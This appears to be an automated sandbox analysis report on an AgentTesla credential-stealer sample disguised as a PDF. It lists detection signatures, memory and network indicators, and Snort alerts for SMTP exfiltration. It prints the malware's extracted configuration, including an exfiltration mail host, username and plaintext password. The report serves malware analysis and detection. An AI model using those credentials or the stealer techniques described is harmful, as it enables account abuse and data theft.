Edit tour

Windows Analysis Report
0000003448.pdf.exe

Overview

General Information

Sample name:	0000003448.pdf.exe
Analysis ID:	1447926
MD5:	bb8bbd61f7f45c48819489caa8bb627b
SHA1:	5022b614e9c8ce0f38ada867f1fd1e243cf0f464
SHA256:	1ddfb4b7cc2fa9dc2883c942bab409ab6be7c6efa494495e6c6c3438e86ee0c4
Tags:	exe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: RegAsm connects to smtp port

Sigma detected: Suspicious Double Extension File Execution

Snort IDS alert for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected UAC Bypass using CMSTP

AI detected suspicious sample

Contains functionality to log keystrokes (.Net Source)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Installs a global keyboard hook

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses an obfuscated file name to hide its real file extension (double extension)

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file does not import any functions

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

0000003448.pdf.exe (PID: 2520 cmdline: "C:\Users\user\Desktop\0000003448.pdf.exe" MD5: BB8BBD61F7F45C48819489CAA8BB627B)

RegAsm.exe (PID: 7360 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

WerFault.exe (PID: 7468 cmdline: C:\Windows\system32\WerFault.exe -u -p 2520 -s 1084 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.drconstrucciones.es", "Username": "prevencion@drconstrucciones.es", "Password": "Lagoness2"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000A.00000002.3718228081.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.3718228081.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000002.3722883253.000000000317B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.3722883253.000000000317B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1487814710.000002474EB52000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000000.00000002.1489009954.000002475EA97000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1489009954.000002475EA97000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: 0000003448.pdf.exe PID: 2520	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 0000003448.pdf.exe PID: 2520	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 0000003448.pdf.exe PID: 2520	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: 0000003448.pdf.exe PID: 2520	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: RegAsm.exe PID: 7360	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 7360	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.0000003448.pdf.exe.2475ead5740.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.0000003448.pdf.exe.2475ead5740.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.0000003448.pdf.exe.2475ead5740.4.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x320a7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32119:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x321a3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32235:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3229f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32311:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x323a7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32437:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.0000003448.pdf.exe.2475eb2b178.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.0000003448.pdf.exe.2475eb2b178.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.0000003448.pdf.exe.2475eb2b178.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x320a7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32119:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x321a3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32235:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3229f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32311:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x323a7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32437:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
10.2.RegAsm.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.RegAsm.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
10.2.RegAsm.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33ea7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33f19:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33fa3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34035:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3409f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34111:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x341a7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34237:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.0000003448.pdf.exe.2475ead5740.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.0000003448.pdf.exe.2475ead5740.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.0000003448.pdf.exe.2475ead5740.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33ea7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x898df:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33f19:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x89951:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33fa3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x899db:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34035:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x89a6d:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3409f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x89ad7:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34111:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x89b49:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x341a7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x89bdf:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34237:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x89c6f:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.0000003448.pdf.exe.2475eb2b178.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.0000003448.pdf.exe.2475eb2b178.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.0000003448.pdf.exe.2475eb2b178.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33ea7:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33f19:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33fa3:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34035:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3409f:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34111:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x341a7:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34237:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 10 entries

Sigma Signatures

Networking

Sigma detected: RegAsm connects to smtp port

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 185.5.126.24, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, Initiated: true, ProcessId: 7360, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49705

System Summary

Sigma detected: Suspicious Double Extension File Execution

Source: Process started

Author: Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\Desktop\0000003448.pdf.exe", CommandLine: "C:\Users\user\Desktop\0000003448.pdf.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\0000003448.pdf.exe, NewProcessName: C:\Users\user\Desktop\0000003448.pdf.exe, OriginalFileName: C:\Users\user\Desktop\0000003448.pdf.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 7436, ProcessCommandLine: "C:\Users\user\Desktop\0000003448.pdf.exe", ProcessId: 2520, ProcessName: 0000003448.pdf.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 185.5.126.24, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: , Initiated: true, ProcessId: , Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49748

Snort Signatures

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:44:22.157402
SID:	2030171
Source Port:	49725
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:46:08.025068
SID:	2030171
Source Port:	49738
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:45:37.161704
SID:	2840032
Source Port:	49733
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:44:22.157639
SID:	2840032
Source Port:	49725
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:44:42.668719
SID:	2030171
Source Port:	49727
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:46:31.688888
SID:	2030171
Source Port:	49742
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:44:55.795795
SID:	2840032
Source Port:	49729
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:45:16.705440
SID:	2840032
Source Port:	49731
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:44:55.795719
SID:	2030171
Source Port:	49729
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:45:54.742319
SID:	2030171
Source Port:	49734
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:46:00.201807
SID:	2840032
Source Port:	49736
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:46:31.689008
SID:	2840032
Source Port:	49742
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:45:57.901261
SID:	2030171
Source Port:	49735
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:45:20.020246
SID:	2030171
Source Port:	49732
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:46:20.221164
SID:	2840032
Source Port:	49739
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:46:38.864550
SID:	2030171
Source Port:	49745
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:42:50.789472
SID:	2030171
Source Port:	49705
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:46:44.109102
SID:	2840032
Source Port:	49747
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:45:54.742415
SID:	2840032
Source Port:	49734
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:45:06.675548
SID:	2030171
Source Port:	49730
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:45:20.020379
SID:	2840032
Source Port:	49732
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:46:20.217198
SID:	2030171
Source Port:	49739
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:44:34.585781
SID:	2840032
Source Port:	49726
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:44:34.585685
SID:	2030171
Source Port:	49726
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:44:52.832074
SID:	2840032
Source Port:	49728
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:46:38.864599
SID:	2840032
Source Port:	49745
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:46:34.162938
SID:	2030171
Source Port:	49743
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:45:06.675669
SID:	2840032
Source Port:	49730
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:46:34.163028
SID:	2840032
Source Port:	49743
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:44:52.831964
SID:	2030171
Source Port:	49728
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:46:44.109041
SID:	2030171
Source Port:	49747
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:45:57.901482
SID:	2840032
Source Port:	49735
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:46:00.201685
SID:	2030171
Source Port:	49736
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:46:08.025194
SID:	2840032
Source Port:	49738
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:45:37.161595
SID:	2030171
Source Port:	49733
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:45:16.705240
SID:	2030171
Source Port:	49731
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.7 - Destination IP: 185.5.126.24

Timestamp:	05/27/24-12:44:42.668752
SID:	2840032
Source Port:	49727
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.0000003448.pdf.exe.2475ead5740.4.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.drconstrucciones.es", "Username": "prevencion@drconstrucciones.es", "Password": "Lagoness2"}

Multi AV Scanner detection for submitted file

Source: 0000003448.pdf.exe	ReversingLabs: Detection: 60%
Source: 0000003448.pdf.exe	Virustotal: Detection: 67%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 0000003448.pdf.exe

Joe Sandbox ML: detected

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 00000000.00000002.1487814710.000002474EB52000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0000003448.pdf.exe PID: 2520, type: MEMORYSTR

Source: unknown

HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.7:49703 version: TLS 1.2

Source: 0000003448.pdf.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdbception Info: System.Reflection. source: 0000003448.pdf.exe, 00000000.00000002.1491040290.0000024767322000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdbV7 8d source: 0000003448.pdf.exe, 00000000.00000002.1491040290.0000024767322000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: 0000003448.pdf.exe, 00000000.00000002.1491040290.0000024767322000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: Microsoft.CSharp.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb3n source: 0000003448.pdf.exe, 00000000.00000002.1486243252.000002474CF64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .VisualBasic.pdb` source: 0000003448.pdf.exe, 00000000.00000002.1484938348.000000F5E9BA3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbyste/@ source: 0000003448.pdf.exe, 00000000.00000002.1491040290.0000024767322000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: .pdbHJ source: 0000003448.pdf.exe, 00000000.00000002.1484938348.000000F5E9BA3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: 0000003448.pdf.exe, 00000000.00000002.1486243252.000002474CF04000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: System.Core.ni.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdbn? source: 0000003448.pdf.exe, 00000000.00000002.1491040290.0000024767322000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbBLEN source: 0000003448.pdf.exe, 00000000.00000002.1491040290.0000024767322000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: 0000003448.pdf.exe, 00000000.00000002.1486243252.000002474CF64000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: System.Dynamic.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdbAND source: 0000003448.pdf.exe, 00000000.00000002.1491040290.0000024767322000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 0000003448.pdf.PDB0 source: 0000003448.pdf.exe, 00000000.00000002.1484938348.000000F5E9BA3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdb source: 0000003448.pdf.exe, 00000000.00000002.1491040290.0000024767322000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: pC:\Users\user\Desktop\0000003448.pdf.PDB0 source: 0000003448.pdf.exe, 00000000.00000002.1484938348.000000F5E9BA3000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdbDBA source: 0000003448.pdf.exe, 00000000.00000002.1491040290.0000024767322000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdbxe source: 0000003448.pdf.exe, 00000000.00000002.1486243252.000002474CF04000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: System.pdbx source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER97AA.tmp.dmp.13.dr
Source:	Binary string: C:\Users\user\Desktop\0000003448.pdf.PDB source: 0000003448.pdf.exe, 00000000.00000002.1484938348.000000F5E9BA3000.00000004.00000010.00020000.00000000.sdmp

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.7:49705 -> 185.5.126.24:587
